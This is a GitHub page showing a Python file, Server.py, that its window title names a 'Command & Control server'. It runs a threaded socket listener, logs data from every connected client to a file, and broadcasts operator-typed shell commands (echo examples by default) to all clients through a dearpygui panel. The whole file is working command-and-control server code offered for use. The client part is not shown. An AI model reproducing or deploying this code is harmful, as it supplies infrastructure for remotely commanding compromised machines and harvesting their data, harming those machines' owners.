-
Notifications
You must be signed in to change notification settings - Fork 0
/
Server.py
119 lines (91 loc) · 3.62 KB
/
Server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import dearpygui.dearpygui as dpg
import threading
import platform
import socket
import os
def clear():
os.system("cls" if os.name == "nt" else "clear")
def set_console_title(title):
if platform.system() == "Windows":
import ctypes
ctypes.windll.kernel32.SetConsoleTitleW(title)
else:
print(f"\033]0;{title}\007")
def listen():
global server, clients
ip = dpg.get_value("ip")
port = int(dpg.get_value("port"))
host = ip, port
server = socket.socket()
server.bind(host)
server.listen()
clients = []
print(f"Listening on {ip}:{port}")
t = threading.Thread(target=handle_clients)
t.start()
def handle_clients():
global clients
while True:
try:
client, address = server.accept()
clients.append(client)
print(f"New connection from {address[0]}:{address[1]}")
t = threading.Thread(target=handle_data, args=(client, address))
t.start()
except:
pass
def handle_data(client, address):
while True:
data = client.recv(1024).decode()
if not data:
break
else:
print(f"{address[0]}:{address[1]}: {data}")
with open("client_data.txt", 'a') as file:
file.write(f"{address[0]}:{address[1]}: {data}\n")
def send_data():
server_data = dpg.get_value("server data")
for client in clients:
try:
client.sendall(server_data.encode())
except:
pass
def create_window():
with dpg.window(tag="server_window"):
dpg.add_input_text(label="IP", tag="ip", default_value="127.0.0.1")
dpg.add_input_text(label="Port", tag="port", default_value="65535")
dpg.add_button(label="Listen", callback=listen, width=80)
dpg.add_spacing(count=2)
dpg.add_input_text(label="Data", tag="server data", multiline=True,
default_value=':: Windows\necho "Hello World"\n\nor\n\n# Linux\necho "Hello World"\n')
dpg.add_button(label="Send", callback=send_data, width=80)
with dpg.tooltip(dpg.last_item()):
dpg.add_text("Send data to all clients in connection")
def set_global_theme():
with dpg.theme() as global_theme:
with dpg.theme_component(dpg.mvAll):
dpg.add_theme_style(dpg.mvStyleVar_WindowRounding, 3)
dpg.add_theme_style(dpg.mvStyleVar_FrameRounding, 3)
dpg.add_theme_style(dpg.mvStyleVar_GrabRounding, 3)
dpg.add_theme_style(dpg.mvStyleVar_TabRounding, 3)
dpg.add_theme_style(dpg.mvStyleVar_ChildRounding, 3)
dpg.add_theme_style(dpg.mvStyleVar_PopupRounding, 3)
dpg.add_theme_style(dpg.mvStyleVar_ScrollbarRounding, 3)
dpg.add_theme_style(dpg.mvStyleVar_FramePadding, 6, 6)
dpg.add_theme_color(dpg.mvThemeCol_WindowBg, (21, 22, 23))
dpg.add_theme_color(dpg.mvThemeCol_FrameBg, (32, 50, 77))
dpg.add_theme_color(dpg.mvThemeCol_Button, (39, 73, 114))
dpg.add_theme_color(dpg.mvThemeCol_FrameBg, (32, 50, 77))
dpg.bind_theme(global_theme)
if __name__ == "__main__":
clear()
set_console_title("Server")
dpg.create_context()
set_global_theme()
create_window()
dpg.create_viewport(title='Command & Control server by Bt08s', width=600, height=295, clear_color=(115, 140, 152))
dpg.setup_dearpygui()
dpg.show_viewport()
dpg.set_primary_window("server_window", True)
dpg.start_dearpygui()
dpg.destroy_context()